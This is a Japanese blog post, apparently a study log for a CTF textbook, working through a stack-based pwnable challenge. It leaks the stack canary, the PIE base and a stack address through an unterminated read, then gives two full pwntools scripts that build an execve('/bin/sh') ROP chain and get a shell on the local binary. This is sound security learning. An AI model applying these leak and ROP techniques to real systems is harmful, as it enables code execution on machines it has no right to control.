RELRO       STACK CANARY     NX          PIE          RPATH     RUNPATH     Symbols       FORTIFY  Fortified  Fortifiable  FILE
Full RELRO  No canary found  NX enabled  PIE enabled  No RPATH  No RUNPATH  1884 Symbols  N/A      0          21           ./chall_stack

追記です。checksec は間違う場合がある、ということで、pwndbg の checksec で実施します。以下は、シェル関数で、pwndbg を起動して、checksec を実行してます。

$ checksec ./chall_stack
pwndbg: loaded 211 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
File:     /home/ubuntu/svn/experiment-old/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

GDB を起動してみます。

以下に逆アセンブル結果を貼ります。スタックは 48(0x30)byte 確保されていて、スタックカナリアは有効ですね、、、何かおかしい気がしますが、分かりません。msg があり、その後ろは 8byte 空きで、その後に、canary が続いています。canary のリークには、16byte + 8 byte + 1byte = 25byte を埋めれば良さそうです。

pwndbg> disassemble main
Dump of assembler code for function main:
   0x00007ffff7f3a0c9 <+0>:     endbr64
   0x00007ffff7f3a0cd <+4>:     push   rbp
   0x00007ffff7f3a0ce <+5>:     mov    rbp,rsp
=> 0x00007ffff7f3a0d1 <+8>:     sub    rsp,0x30
   0x00007ffff7f3a0d5 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00007ffff7f3a0de <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00007ffff7f3a0e2 <+25>:    xor    eax,eax
   0x00007ffff7f3a0e4 <+27>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00007ffff7f3a0ec <+35>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00007ffff7f3a0f4 <+43>:    mov    rax,QWORD PTR [rip+0xc14f5]        # 0x7ffff7ffb5f0 <stdout>
   0x00007ffff7f3a0fb <+50>:    mov    esi,0x0
   0x00007ffff7f3a100 <+55>:    mov    rdi,rax
   0x00007ffff7f3a103 <+58>:    call   0x7ffff7f52df0 <setbuf>
   0x00007ffff7f3a108 <+63>:    lea    rdi,[rip+0x93ef5]        # 0x7ffff7fce004
   0x00007ffff7f3a10f <+70>:    call   0x7ffff7f50ce0 <puts>
   0x00007ffff7f3a114 <+75>:    mov    DWORD PTR [rbp-0x24],0x0
   0x00007ffff7f3a11b <+82>:    jmp    0x7ffff7f3a168 <main+159>
   0x00007ffff7f3a11d <+84>:    mov    eax,DWORD PTR [rbp-0x24]
   0x00007ffff7f3a120 <+87>:    add    eax,0x1
   0x00007ffff7f3a123 <+90>:    mov    esi,eax
   0x00007ffff7f3a125 <+92>:    lea    rdi,[rip+0x93ef5]        # 0x7ffff7fce021
   0x00007ffff7f3a12c <+99>:    mov    eax,0x0
   0x00007ffff7f3a131 <+104>:   call   0x7ffff7f49020 <printf>
   0x00007ffff7f3a136 <+109>:   lea    rax,[rbp-0x20]
   0x00007ffff7f3a13a <+113>:   mov    edx,0x70
   0x00007ffff7f3a13f <+118>:   mov    rsi,rax
   0x00007ffff7f3a142 <+121>:   mov    edi,0x0
   0x00007ffff7f3a147 <+126>:   call   0x7ffff7f88f80 <read>
   0x00007ffff7f3a14c <+131>:   lea    rax,[rbp-0x20]
   0x00007ffff7f3a150 <+135>:   mov    rsi,rax
   0x00007ffff7f3a153 <+138>:   lea    rdi,[rip+0x93ed8]        # 0x7ffff7fce032
   0x00007ffff7f3a15a <+145>:   mov    eax,0x0
   0x00007ffff7f3a15f <+150>:   call   0x7ffff7f49020 <printf>
   0x00007ffff7f3a164 <+155>:   add    DWORD PTR [rbp-0x24],0x1
   0x00007ffff7f3a168 <+159>:   cmp    DWORD PTR [rbp-0x24],0x3
   0x00007ffff7f3a16c <+163>:   jle    0x7ffff7f3a11d <main+84>
   0x00007ffff7f3a16e <+165>:   lea    rdi,[rip+0x93eca]        # 0x7ffff7fce03f
   0x00007ffff7f3a175 <+172>:   call   0x7ffff7f50ce0 <puts>
   0x00007ffff7f3a17a <+177>:   mov    eax,0x0
   0x00007ffff7f3a17f <+182>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00007ffff7f3a183 <+186>:   xor    rcx,QWORD PTR fs:0x28
   0x00007ffff7f3a18c <+195>:   je     0x7ffff7f3a193 <main+202>
   0x00007ffff7f3a18e <+197>:   call   0x7ffff7f8c8c0 <__stack_chk_fail_local>
   0x00007ffff7f3a193 <+202>:   leave
   0x00007ffff7f3a194 <+203>:   ret
End of assembler dump.

スタックを表にまとめます。

アドレス サイズ 内容
rbp - 0x30 12 空き(rsp)
rbp - 0x24 4 ループカウンタ(i)
rbp - 0x20 16 msg
rbp - 0x10 8 空き
rbp - 0x08 8 canary
rbp

スタック確保後の状態の GDB です。[ STACK ] を見ると、msg の後の 8byte の空き領域は、0 のようです。Saved RBP には、__libc_csu_init のアドレスが入っています。これをリークすることにより、ベースアドレスが求まりそうです。

$ gdb -q ./chall_stack
Poetry could not find a pyproject.toml file in /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack or its parents
pwndbg: loaded 169 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./chall_stack...
(No debugging symbols found in ./chall_stack)
------- tip of the day (disable with set show-tips off) -------
Need to mmap or mprotect memory in the debugee? Use commands with the same name to inject and run such syscalls

pwndbg> start
Temporary breakpoint 1 at 0xa0d1

Temporary breakpoint 1, 0x00007ffff7f3a0d1 in main ()
(省略)
pwndbg> si
0x00007ffff7f3a0d5 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ REGISTERS / show-flags off / show-compact-regs off ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
 RAX  0x7ffff7f3a0c9 (main) ◂— endbr64
 RBX  0
 RCX  4
 RDX  0x7fffffffe218 —▸ 0x7fffffffe4fa ◂— 'SHELL=/bin/bash'
 RDI  1
 RSI  0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack'
 R8   0
 R9   4
 R10  0
 R11  1
 R12  0x7ffff7f3b220 (__libc_csu_fini) ◂— endbr64
 R13  0
 R14  0
 R15  0
 RBP  0x7fffffffe0d0 —▸ 0x7ffff7f3b180 (__libc_csu_init) ◂— endbr64
*RSP  0x7fffffffe0a0 —▸ 0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack'
*RIP  0x7ffff7f3a0d5 (main+12) ◂— mov rax, qword ptr fs:[0x28]
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ DISASM / x86-64 / set emulate on ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
   0x7ffff7f3a0d1 <main+8>     sub    rsp, 0x30                          RSP => 0x7fffffffe0a0 (0x7fffffffe0d0 - 0x30)
 ► 0x7ffff7f3a0d5 <main+12>    mov    rax, qword ptr fs:[0x28]           RAX, [0x7ffff7fff8a8] => 0x4a2a08b019274e00
   0x7ffff7f3a0de <main+21>    mov    qword ptr [rbp - 8], rax           [0x7fffffffe0c8] <= 0x4a2a08b019274e00
   0x7ffff7f3a0e2 <main+25>    xor    eax, eax                           EAX => 0
   0x7ffff7f3a0e4 <main+27>    mov    qword ptr [rbp - 0x20], 0          [0x7fffffffe0b0] <= 0
   0x7ffff7f3a0ec <main+35>    mov    qword ptr [rbp - 0x18], 0          [0x7fffffffe0b8] <= 0
   0x7ffff7f3a0f4 <main+43>    mov    rax, qword ptr [rip + 0xc14f5]     RAX, [stdout] => 0x7ffff7ffb240 (_IO_2_1_stdout_) ◂— 0xfbad2084
   0x7ffff7f3a0fb <main+50>    mov    esi, 0                             ESI => 0
   0x7ffff7f3a100 <main+55>    mov    rdi, rax                           RDI => 0x7ffff7ffb240 (_IO_2_1_stdout_) ◂— 0xfbad2084
   0x7ffff7f3a103 <main+58>    call   setbuf                      <setbuf>

   0x7ffff7f3a108 <main+63>    lea    rdi, [rip + 0x93ef5]     RDI => 0x7ffff7fce004 ◂— 'You can put message 4 times!'
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ STACK ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
00:0000x rsp 0x7fffffffe0a0 —▸ 0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack'
01:0008x-028 0x7fffffffe0a8 ◂— 0
02:0010x-020 0x7fffffffe0b0 —▸ 0x7ffff7f3b180 (__libc_csu_init) ◂— endbr64
03:0018x-018 0x7fffffffe0b8 —▸ 0x7ffff7f3b220 (__libc_csu_fini) ◂— endbr64
04:0020x-010 0x7fffffffe0c0 ◂— 0
05:0028x-008 0x7fffffffe0c8 ◂— 0
06:0030x rbp 0x7fffffffe0d0 —▸ 0x7ffff7f3b180 (__libc_csu_init) ◂— endbr64
07:0038x+008 0x7fffffffe0d8 —▸ 0x7ffff7f3a9b0 (__libc_start_main+1168) ◂— mov edi, eax
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ BACKTRACE ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
 ► 0   0x7ffff7f3a0d5 main+12
   1   0x7ffff7f3a9b0 __libc_start_main+1168
   2   0x7ffff7f3a00e _start+46

簡単に、canary の先頭の 0 に別の値を埋めるのをやってみます。

最初は、16byte を書いてみます。read関数は NULL文字を設定しないので、空きの 8byte のデータも一緒に出力されることが期待されますが、上で見たように、そこは 0 になっていたので、何も読めません。

次に、25byte を書いてみます。a の後に、5d 20 20 84 08 3f 60 80 41 53 0d 76 7f という値が出力されています。最初の 7byte は canary で、あとの 6byte は、Saved RBP なので、__libc_csu_init のアドレス(0x7f760d534180)だと思われます。

$ python -c 'print("a" * 16, end="")' | ./chall_stack
You can put message 4 times!
Input (1/4) >> Output : aaaaaaaaaaaaaaaa
Input (2/4) >> Output : aaaaaaaaaaaaaaaa
Input (3/4) >> Output : aaaaaaaaaaaaaaaa
Input (4/4) >> Output : aaaaaaaaaaaaaaaa
Bye!

$ python -c 'print("a" * 16, end="")' | ./chall_stack | hexdump -C
00000000  59 6f 75 20 63 61 6e 20  70 75 74 20 6d 65 73 73  |You can put mess|
00000010  61 67 65 20 34 20 74 69  6d 65 73 21 0a 49 6e 70  |age 4 times!.Inp|
00000020  75 74 20 28 31 2f 34 29  20 3e 3e 20 4f 75 74 70  |ut (1/4) >> Outp|
00000030  75 74 20 3a 20 61 61 61  61 61 61 61 61 61 61 61  |ut : aaaaaaaaaaa|
00000040  61 61 61 61 61 0a 49 6e  70 75 74 20 28 32 2f 34  |aaaaa.Input (2/4|
00000050  29 20 3e 3e 20 4f 75 74  70 75 74 20 3a 20 61 61  |) >> Output : aa|
00000060  61 61 61 61 61 61 61 61  61 61 61 61 61 61 0a 49  |aaaaaaaaaaaaaa.I|
00000070  6e 70 75 74 20 28 33 2f  34 29 20 3e 3e 20 4f 75  |nput (3/4) >> Ou|
00000080  74 70 75 74 20 3a 20 61  61 61 61 61 61 61 61 61  |tput : aaaaaaaaa|
00000090  61 61 61 61 61 61 61 0a  49 6e 70 75 74 20 28 34  |aaaaaaa.Input (4|
000000a0  2f 34 29 20 3e 3e 20 4f  75 74 70 75 74 20 3a 20  |/4) >> Output : |
000000b0  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
000000c0  0a 42 79 65 21 0a                                 |.Bye!.|
000000c6

$ python -c 'print("a" * 25, end="")' | ./chall_stack
You can put message 4 times!
Input (1/4) >> Output : aaaaaaaaaaaaaaaaaaaaaaaaa�;��C�b�A�{�
Input (2/4) >> Output : aaaaaaaaaaaaaaaaaaaaaaaaa�;��C�b�A�{�
Input (3/4) >> Output : aaaaaaaaaaaaaaaaaaaaaaaaa�;��C�b�A�{�
Input (4/4) >> Output : aaaaaaaaaaaaaaaaaaaaaaaaa�;��C�b�A�{�
Bye!
*** stack smashing detected ***: terminated
中止

$ python -c 'print("a" * 25, end="")' | ./chall_stack | hexdump -C
00000000  59 6f 75 20 63 61 6e 20  70 75 74 20 6d 65 73 73  |You can put mess|
00000010  61 67 65 20 34 20 74 69  6d 65 73 21 0a 49 6e 70  |age 4 times!.Inp|
00000020  75 74 20 28 31 2f 34 29  20 3e 3e 20 4f 75 74 70  |ut (1/4) >> Outp|
00000030  75 74 20 3a 20 61 61 61  61 61 61 61 61 61 61 61  |ut : aaaaaaaaaaa|
00000040  61 61 61 61 61 61 61 61  61 61 61 61 61 61 5d 20  |aaaaaaaaaaaaaa] |
00000050  20 84 08 3f 60 80 41 53  0d 76 7f 0a 49 6e 70 75  | ..?`.AS.v..Inpu|
*** stack smashing detected ***: terminated
00000060  74 20 28 32 2f 34 29 20  3e 3e 20 4f 75 74 70 75  |t (2/4) >> Outpu|
00000070  74 20 3a 20 61 61 61 61  61 61 61 61 61 61 61 61  |t : aaaaaaaaaaaa|
00000080  61 61 61 61 61 61 61 61  61 61 61 61 61 5d 20 20  |aaaaaaaaaaaaa]  |
00000090  84 08 3f 60 80 41 53 0d  76 7f 0a 49 6e 70 75 74  |..?`.AS.v..Input|
000000a0  20 28 33 2f 34 29 20 3e  3e 20 4f 75 74 70 75 74  | (3/4) >> Output|
000000b0  20 3a 20 61 61 61 61 61  61 61 61 61 61 61 61 61  | : aaaaaaaaaaaaa|
000000c0  61 61 61 61 61 61 61 61  61 61 61 61 5d 20 20 84  |aaaaaaaaaaaa]  .|
000000d0  08 3f 60 80 41 53 0d 76  7f 0a 49 6e 70 75 74 20  |.?`.AS.v..Input |
000000e0  28 34 2f 34 29 20 3e 3e  20 4f 75 74 70 75 74 20  |(4/4) >> Output |
000000f0  3a 20 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |: aaaaaaaaaaaaaa|
00000100  61 61 61 61 61 61 61 61  61 61 61 5d 20 20 84 08  |aaaaaaaaaaa]  ..|
00000110  3f 60 80 41 53 0d 76 7f  0a 42 79 65 21 0a        |?`.AS.v..Bye!.|
0000011e

__libc_csu_init のアドレスを調べます。これは相対アドレスなので、先ほど調べたアドレスから引くと、0x7f760d534180 - 0xb180 = 0x7F760D529000 になり、これがベースアドレスになります。書籍にも解説がありましたが、ベースアドレスはページ境界(4KB境界)になるので、下位12bit が 0 になりますので、合ってそうです。

$ nm chall_stack | grep __libc_csu_init
000000000000b180 T __libc_csu_init

次に、/bin/sh、system関数、execve関数を探します。静的リンクなので、libc を含んでいるので、あるはずです。しかし、どれも見つかりません。使ってない関数は含まれないということかもしれません。

$ strings -tx chall_stack | grep '/bin/sh'

$ nm chall_stack | grep system
00000000000b3cc0 r system_dirs
00000000000b3ca0 r system_dirs_len

$ nm chall_stack | grep execve

仕方ないので別の手を考えます。ヒントに、スタックアドレスがリーク可能とあるので、スタックバッファオーバーフローで、/bin/sh を書いておいて(例えば、msg と canary の間の空き 8byte に書いておく)、そのアドレスを引数にすることが出来るかもしれません。スタックに、スタックアドレスが書かれているかを調べます。pwndbg には、tele というコマンドがあり、スタックをいい感じに表示してくれます。

msg は rsp + 0x10 からなので、それ以降で探すと、、、rsp + 0x50 にスタックのアドレスらしいものが入っています。

pwndbg> tele rsp 20
00:0000x rsp     0x7fffffffe0a0 —▸ 0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack'
01:0008x-028     0x7fffffffe0a8 ◂— 0
... ↓            3 skipped
05:0028x-008     0x7fffffffe0c8 ◂— 0x7e770be78c5fa000
06:0030x rbp     0x7fffffffe0d0 —▸ 0x7ffff7f3b180 (__libc_csu_init) ◂— endbr64
07:0038x+008     0x7fffffffe0d8 —▸ 0x7ffff7f3a9b0 (__libc_start_main+1168) ◂— mov edi, eax
08:0040x+010     0x7fffffffe0e0 ◂— 0
09:0048x+018     0x7fffffffe0e8 ◂— 0x100000000
0a:0050x+020     0x7fffffffe0f0 —▸ 0x7fffffffe208 —▸ 0x7fffffffe49e ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack'
0b:0058x+028     0x7fffffffe0f8 —▸ 0x7ffff7f3a0c9 (main) ◂— endbr64
0c:0060x+030     0x7fffffffe100 ◂— 0
0d:0068x+038     0x7fffffffe108 ◂— 0x600000000
0e:0070x+040     0x7fffffffe110 ◂— 0xc0000008e
0f:0078x+048     0x7fffffffe118 ◂— 0x80
10:0080x+050     0x7fffffffe120 ◂— 0
... ↓            3 skipped

念のため、メモリマップを確認しておきます。ちゃんとスタックのアドレスでした。msg と canary の間の空き 8byte に、"/bin/sh" を書いておくとすると、得られるスタックのアドレスが 0x7fffffffe208 で、書き込みたいスタックのアドレスは 0x7fffffffe0c0 なので、その差は、0x148 です。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x7ffff7f2a000     0x7ffff7f2e000 r--p     4000      0 [vvar]
    0x7ffff7f2e000     0x7ffff7f30000 r-xp     2000      0 [vdso]
    0x7ffff7f30000     0x7ffff7f39000 r--p     9000      0 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack
    0x7ffff7f39000     0x7ffff7fce000 r-xp    95000   9000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack
    0x7ffff7fce000     0x7ffff7ff7000 r--p    29000  9e000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack
    0x7ffff7ff7000     0x7ffff7ffb000 r--p     4000  c6000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack
    0x7ffff7ffb000     0x7ffff7ffe000 rw-p     3000  ca000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [heap]
    0x7ffff7fff000     0x7ffff8022000 rw-p    23000      0 [heap]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]

次に、ヒントに、syscall命令を ROP Gadget で利用できるとあるので、探して見ます。syscall命令は、たくさん見つかりました。execve のシステムコールを使うので、pop rax、pop rdi、pop rsi、pop rdx も探しておきます。全部見つかりました。

$ rp-lin -f ./chall_stack -r 1 | grep 'syscall'
(省略)
0x262a4: syscall ; ret ; (1 found)
(省略)

$ rp-lin -f ./chall_stack -r 1 | grep 'pop rax'
(省略)
0x59a27: pop rax ; ret ; (1 found)
(省略)

$ rp-lin -f ./chall_stack -r 1 | grep 'pop rdi'
(省略)
0x9c3a: pop rdi ; ret ; (1 found)
(省略)

$ rp-lin -f ./chall_stack -r 1 | grep 'pop rsi'
0x177ce: pop rsi ; ret ; (1 found)
(省略)

$ rp-lin -f ./chall_stack -r 1 | grep 'pop rdx'
0x9b3f: pop rdx ; ret ; (1 found)

これで、必要な情報は揃ったので、あとは、エクスプロイトコードを実装していきます。以下になりました。

from pwn import *

context( os='linux', arch='amd64' )

#prog = "../shokai_security_contest/files/pwnable/99_challs/stack/chall_stack"
prog = "./chall_stack"

elf  = ELF( prog )
poprax  = 0x59a27
poprdi  = 0x9c3a
poprsi  = 0x177ce
poprdx  = 0x9b3f
syscall = 0x262a4

proc = process( prog )
#proc = gdb.debug( prog )

# canaryのリーク
proc.sendafter( '>> ', b'a' * 0x18 + b'!' )
proc.recvuntil( 'a!' )
canary = u64( b'\x00' + proc.recv(7) )
info( f"canary = 0x{canary:08X}" )

# プログラムバイナリのベースアドレスを求める
# (Saved RBP に格納されている __libc_csu_init から求める)
proc.sendafter( '>> ', b'a' * 0x1F + b'!' )
proc.recvuntil( 'a!' )
adrs = u64( proc.recv(6) + b'\x00\x00' )
base = adrs - 0xb180
info( f"adrs = 0x{adrs:08X}, base=0x{base:08X}" )

# スタックアドレスのリーク
proc.sendafter( '>> ', b'a' * 0x3F + b'!' )
proc.recvuntil( 'a!' )
adrs = u64( proc.recv(6) + b'\x00\x00' )
stack = adrs - 0x148
info( f"adrs = 0x{adrs:08X}, stack=0x{stack:08X}" )

ropchain  = b'a' * 0x10
ropchain += p64( 0x68732f6e69622f ) # "/bin/sh"
ropchain += p64( canary )
ropchain += p64( 0xdeadbeef )
ropchain += p64( base + poprax ) 
ropchain += p64( 0x3b )          # execve
ropchain += p64( base + poprdi ) 
ropchain += p64( stack )         # "/bin/sh"の格納先
ropchain += p64( base + poprsi ) 
ropchain += p64( 0x00 )          # execveの第2引数
ropchain += p64( base + poprdx ) 
ropchain += p64( 0x00 )          # execveの第3引数
ropchain += p64( base + syscall ) 

# シェルを取る
proc.sendafter( '>> ', ropchain )

proc.interactive()

実行してみます。最初はうまくいきませんでしたが、デバッグして、いくつか修正したところ、うまくシェルを取ることが出来ました!

$ python tmp.py
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Starting local process './chall_stack': pid 394953
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/tmp.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  proc.recvuntil( 'a!' )
[*] canary = 0x48B9A93A6DAF2700
/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/tmp.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  proc.recvuntil( 'a!' )
[*] adrs = 0x7F288F9AB180, base=0x7F288F9A0000
/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/stack/tmp.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  proc.recvuntil( 'a!' )
[*] adrs = 0x7FFEDDC23E28, stack=0x7FFEDDC23CE0
[*] Switching to interactive mode
Output : aaaaaaaaaaaaaaaa/bin/sh
Bye!
$ ls
chall_stack  chall_stack.c  core  exploit_stack.py  tmp.py

一応、提供されている模範解答を見てみます。

なるほど、"/bin/sh" は素直に msg の先頭から配置していますね。プログラムバイナリのベースアドレスは、main関数のアドレスを使ってますね、見返してみると、確かに rsp+0x58 の位置に main関数がありました。

あとは、だいたい同じですが、pwntools の便利な使い方をしてるので、学んでいきます。まず、unpack(conn.recv(6), 'all') ですね。pwntools の unpack関数は、リトルエンディアンとして認識して byte型から整数に直してくれるようです。次に、rop = ROP(binf) 以降が全然違いますね。え、ROP Gadget を自動で探してくれて、ROPチェーンを構築してくれるそうです。それは便利すぎますが、常に使えるんでしょうか、ROP Gadget が見つからない場合とかはどうなるんでしょうね。あと、地味に、constants.SYS_execve は便利ですね、システムコール番号を忘れても大丈夫ですし、見やすいです。

#!/usr/bin/env python3
from pwn import *

bin_file = './chall_stack'
context(os = 'linux', arch = 'amd64')
# context(terminal = ['tmux', 'splitw', '-v'])
# context.log_level = 'debug'

binf = ELF(bin_file)
offset_main     = binf.functions['main'].address

def attack(conn, **kwargs):
    conn.sendafter('>> ', b'a'*0x18+b'!')
    conn.recvuntil('a!')
    canary = unpack(b'\x00' + conn.recv(7))
    info('canary        = 0x{:08x}'.format(canary))

    conn.sendafter('>> ', b'b'*0x3f+b'!')
    conn.recvuntil('b!')
    addr_stack = unpack(conn.recv(6), 'all') - 0x158
    info('addr_stack    = 0x{:08x}'.format(addr_stack))

    conn.sendafter('>> ', b'c'*0x47+b'!')
    conn.recvuntil('c!')
    addr_main    = unpack(conn.recv(6), 'all')
    binf.address = addr_main - offset_main
    info('addr_bin_base = 0x{:08x}'.format(binf.address))

    rop = ROP(binf)

    exploit  = b'/bin/sh'.ljust(0x18, b'\x00')
    exploit += pack(canary)
    exploit += pack(0xdeadbeef)
    exploit += flat(rop.rdi.address, addr_stack)
    exploit += flat(rop.rsi.address, 0)
    exploit += flat(rop.rdx.address, 0)
    exploit += flat(rop.rax.address, constants.SYS_execve)
    exploit += pack(rop.syscall.address)
    conn.sendafter('>> ', exploit)

def main():
    # conn = gdb.debug(bin_file)
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__=='__main__':
    main()

スタックベースのエクスプロイトは、なかなかボリュームがありました。以上です。

おわりに

今回も、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読み進めました。スタックを使うエクスプロイトがよくまとまっていたと思います。親切丁寧な説明は無く、解釈に時間がかかってしまう書籍ですが、たくさんの情報を提供してくれるので、なるべく飛ばさないように、確実に進めたいと思います。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/shokai_stackより取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14